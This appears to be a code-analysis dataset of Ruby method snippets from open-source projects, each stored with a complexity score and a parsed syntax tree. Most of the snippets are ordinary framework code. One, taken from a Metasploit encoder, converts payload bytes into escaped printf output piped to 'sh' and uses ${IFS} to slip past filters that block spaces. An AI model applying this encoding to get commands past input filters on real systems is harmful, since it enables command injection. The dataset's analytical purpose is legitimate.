{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":455,"raw_source":"def on(event, &callback)\n          raise \"BUG: this event is disabled for #{@server_type}: #{event}\" unless @enabled_events.include?(event)\n          case event\n          when :data\n            @sock.data(&callback)\n          when :write_complete\n            cb = ->(){ callback.call(self) }\n            @sock.on_write_complete(&cb)\n          when :close\n            cb = ->(){ callback.call(self) }\n            @sock.on_close(&cb)\n          else\n            raise \"BUG: unknown event: #{event}\"\n          end\n        end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"blockarg\",\"children\":[\"callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@enabled_events\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: this event is disabled for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_type\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sock\"]},\"data\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_complete\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cb\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sock\"]},\"on_write_complete\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cb\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"close\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cb\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sock\"]},\"on_close\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cb\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: unknown event: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}]}]}","id":"e351e4b3-b794-49eb-ae1e-d84ae34d4334"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/concerns/spree/api/v2/storefront/order_concern.rb","start_line":24,"raw_source":"def spree_current_order\n            @spree_current_order ||= find_spree_current_order\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"spree_current_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@spree_current_order\"]},{\"type\":\"send\",\"children\":[null,\"find_spree_current_order\"]}]}]}","id":"7d8e70c9-4807-464b-b1e7-c18add6ebc0d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/cmd/printf_php_mq.rb","start_line":38,"raw_source":"def encode_block(state, buf)\n    # Skip encoding for empty badchars\n    if state.badchars.empty?\n      return buf\n    end\n\n    # If backslash is bad, we are screwed.\n    if state.badchars.include?('\\\\') ||\n       state.badchars.include?('|') ||\n       # We must have at least ONE of these two..\n       (state.badchars.include?('x') && state.badchars.include?('0'))\n      raise EncodingError\n    end\n\n    # Now we build a string of the original payload with bad characters\n    # into \\0<NNN> or \\x<HH>\n    if state.badchars.include?('x')\n      hex = buf.unpack('C*').collect { |c| '\\\\0%o' % c }.join\n    else\n      hex = buf.unpack('C*').collect { |c| '\\\\x%x' % c }.join\n    end\n\n    # Build the final output\n    ret = 'printf'\n\n    # Special case: <SPACE>, try to use ${IFS}\n    if state.badchars.include?(' ')\n      ret << '${IFS}'\n    else\n      ret << ' '\n    end\n\n    ret << hex << '|sh'\n\n    return ret\n  end","complexity_score":46.4,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EncodingError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\0%o\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x%x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"str\",\"children\":[\"printf\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${IFS}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"hex\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"|sh\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}","id":"9e2c6b2a-cae1-4837-993d-32148b34429a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reflection_test.rb","start_line":353,"raw_source":"def test_has_many_through_reflection\n    assert_kind_of ThroughReflection, Subscriber.reflect_on_association(:books)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_reflection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"ThroughReflection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscriber\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"books\"]}]}]}]}","id":"54242035-cc83-4e9e-89c2-de6917d8c04d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":124,"raw_source":"def record_host_trace(attrs)\n      return unless in_tag(\"host\")\n      @state[:trace] = attr_hash(attrs)\n      @state[:trace][:hops] = []\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"record_host_trace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"trace\"]},{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trace\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hops\"]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"5b447697-0c30-4636-a0f3-3ee2f83dc4b1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":663,"raw_source":"def test_render_layout_with_block_and_yield_with_params\n    assert_equal %(Yield! Content from block!\\n),\n      @view.render(layout: \"layouts/yield_with_params\") { |param| \"#{param} Content from block!\" }\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_layout_with_block_and_yield_with_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Yield! Content from block!\\n\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"layouts/yield_with_params\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"str\",\"children\":[\" Content from block!\"]}]}]}]}]}","id":"33119356-c087-45b8-b514-8c1280a61509"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/bisect_progress_formatter.rb","start_line":65,"raw_source":"def bisect_round_detected_multiple_culprits(notification)\n          output.print \" multiple culprits detected - splitting candidates\"\n          output.print \" (#{Helpers.format_duration(notification.duration)})\"\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bisect_round_detected_multiple_culprits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print\",{\"type\":\"str\",\"children\":[\" multiple culprits detected - splitting candidates\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helpers\"]},\"format_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"duration\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"599e8925-26b1-401c-8d91-9fa745c9e008"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/rake/task.rb","start_line":118,"raw_source":"def sys_call_failed?\n        !$CHILD_STATUS.success?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sys_call_failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$CHILD_STATUS\"]},\"success?\"]},\"!\"]}]}","id":"01051546-90fe-4362-ab92-98c5a0036a63"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/context.rb","start_line":277,"raw_source":"def internal_error\n      # raise and catch to set backtrace and cause on exception\n      raise Liquid::InternalError, 'internal'\n    rescue Liquid::InternalError => exc\n      exc\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"internal_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"InternalError\"]},{\"type\":\"str\",\"children\":[\"internal\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"InternalError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exc\"]},{\"type\":\"lvar\",\"children\":[\"exc\"]}]},null]}]}","id":"2f914d7a-8b6a-4d91-a1b8-ac290d30fe68"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_orchestration.rb","start_line":199,"raw_source":"def wait_on_orchestration_stack\n    while deploy_stack_job.orchestration_stack.blank?\n      raise _(\"Orchestration template runner finished with error. Check evm.log for details.\") if deploy_stack_job.status == 'error'\n\n      _log.info(\"Waiting for the deployment of orchestration stack [#{stack_name}]...\")\n      sleep 2\n      # Code running with Rails QueryCache enabled,\n      # need to disable caching for the reload to see updates.\n      self.class.uncached { reload }\n      deploy_stack_job.class.uncached { deploy_stack_job.reload }\n    end\n    @orchestration_stack = deploy_stack_job.orchestration_stack\n  end","complexity_score":35.15,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_on_orchestration_stack\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_stack_job\"]},\"orchestration_stack\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_stack_job\"]},\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Orchestration template runner finished with error. Check evm.log for details.\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for the deployment of orchestration stack [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack_name\"]}]},{\"type\":\"str\",\"children\":[\"]...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"uncached\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"reload\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_stack_job\"]},\"class\"]},\"uncached\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_stack_job\"]},\"reload\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@orchestration_stack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_stack_job\"]},\"orchestration_stack\"]}]}]}]}","id":"018c0090-ca7f-47a0-b0ff-d6b46a211989"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/previewer/video_previewer.rb","start_line":18,"raw_source":"def ffmpeg_path\n        ActiveStorage.paths[:ffmpeg] || \"ffmpeg\"\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ffmpeg_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"paths\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ffmpeg\"]}]},{\"type\":\"str\",\"children\":[\"ffmpeg\"]}]}]}","id":"e8bc46d2-f9b2-4e8a-9f73-9508868458ee"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/actions/contact_merges_controller.rb","start_line":20,"raw_source":"def set_mergee_contact\n    @mergee_contact = contacts.find(params[:mergee_contact_id])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_mergee_contact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@mergee_contact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contacts\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mergee_contact_id\"]}]}]}]}]}","id":"7266ff35-31a5-4ef4-8353-80d35dde7b79"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/badges_controller.rb","start_line":10,"raw_source":"def show\n    @badge = Badge.find_by(slug: params[:slug]) || not_found\n    set_surrogate_key_header \"badges-show-action\"\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@badge\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"slug\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"not_found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"str\",\"children\":[\"badges-show-action\"]}]}]}]}","id":"8ba7d308-b0a6-4cd2-9862-d1e17ea83e90"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/app/status.rb","start_line":86,"raw_source":"def rack_response(status, body, content_type='application/json')\n        headers = {\n          'content-type' => content_type,\n          'content-length' => body.bytesize.to_s\n        }\n\n        [status, headers, [body]]\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rack_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"optarg\",\"children\":[\"content_type\",{\"type\":\"str\",\"children\":[\"application/json\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-type\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"bytesize\"]},\"to_s\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}","id":"21c8f935-2bdb-4b9e-8f6b-80a861bd6d69"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/controller_processor.rb","start_line":157,"raw_source":"def process_iter exp\n    if @current_method.nil? and call? exp.block_call\n      block_call_name = exp.block_call.method\n\n      if block_call_name == :before_filter  or block_call_name == :before_action\n        add_fake_filter exp\n      else\n        super\n      end\n    else\n      super\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_iter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_method\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"block_call\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block_call_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"block_call\"]},\"method\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_call_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"before_filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_call_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"before_action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_fake_filter\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1d8019c2-784b-48da-b438-dae1a88d28e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/server.rb","start_line":340,"raw_source":"def suitable_response(request)\n          responses = {\n            Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult,\n            Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult,\n            Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse,\n            Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse,\n            Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse,\n            Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse,\n            Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse,\n            Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse\n          }\n\n          responses[request]\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"suitable_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"responses\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"BindRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"BindResult\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"SearchRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"SearchResult\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ModifyRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ModifyResponse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"AddRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"AddResponse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"DeleteRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"DeleteResponse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ModifyRDNRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ModifyRDNResponse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"CompareRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"CompareResponse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ExtendedRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"ExtendedResponse\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"responses\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"e67fabf4-55ec-492c-a7d5-7afc7f513908"}
